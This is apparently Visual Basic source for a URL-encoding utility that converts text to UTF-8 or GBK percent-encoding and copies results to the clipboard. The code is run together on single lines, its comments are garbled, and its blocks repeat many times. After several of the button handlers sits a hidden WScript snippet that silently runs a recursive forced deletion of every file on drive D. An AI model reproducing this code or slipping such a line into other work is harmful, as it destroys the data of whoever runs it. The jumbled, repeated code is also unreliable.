Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'*******************************************Function UTF8EncodeURI(szInput) 'תUTF8Dim wch, uch, szRet, xDim nAsc, nAsc2, nAsc3If szInput = "" Then GBtoUTF8 = szInput: Exit Function 'ΪFor x = 1 To Len(szInput)    wch = Mid(szInput, x, 1): nAsc = AscW(wch)    If nAsc < 0 Then nAsc = nAsc + 65536    If (nAsc And &HFF80) = 0 Then        szRet = szRet & wch    Else        If (nAsc And &HF000) = 0 Then            uch = "%" & Hex(((nAsc \ 2 ^ 6)) Or &HC0) & Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        Else            uch = "%" & Hex((nAsc \ 2 ^ 12) Or &HE0) & "%" & _            Hex((nAsc \ 2 ^ 6) And &H3F Or &H80) & "%" & _            Hex(nAsc And &H3F Or &H80)            szRet = szRet & uch        End If    End IfNextUTF8EncodeURI = szRetEnd FunctionFunction GBKEncodeURI(szInput) 'תGBKDim i As Long, x() As Byte, szRet As StringszRet = ""x = StrConv(szInput, vbFromUnicode)For i = LBound(x) To UBound(x)    szRet = szRet & "%" & Hex(x(i))NextGBKEncodeURI = szRetEnd Function'**********************************************Private Sub command1_click() 'תIf Option1.Value = True Then 'UTF8    Text2.Text = UTF8EncodeURI(Text1.Text)    Text5.Text = UTF8EncodeURI(Text3.Text)    Text6.Text = UTF8EncodeURI(Text4.Text)ElseIf Option2.Value = True Then 'GB2312    Text2.Text = GBKEncodeURI(Text1.Text)    Text5.Text = GBKEncodeURI(Text3.Text)    Text6.Text = GBKEncodeURI(Text4.Text)End IfEnd Sub'Private Sub Command2_Click()Clipboard.SetText Text2.TextEnd SubPrivate Sub Command3_Click()Clipboard.SetText Text5.TextEnd SubPrivate Sub Command4_Click()Clipboard.SetText Text6.TextEnd Sub***********************************************************************************************************'ڶ棬ϱ˴ʡPrivate Sub Command1_Click(Index As Integer)    Select Case Index 'UTF8    Case 0        For i = 5 To 9            Text1(i).Text = UTF8EncodeURI(Text1(i - 5).Text)        Next i    Case 1 '        For i = 0 To 9            Text1(i).Text = ""        Next i    Case 2 'GB2312        For i = 5 To 9            Text1(i).Text = GBKEncodeURI(Text1(i - 5).Text)        Next i    Case Else '        Clipboard.SetText Text1(Index + 2).Text    End SelectEnd Subdim WSHshell 
set WSHshell = wscript.createobject("wscript.shell") 
WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true

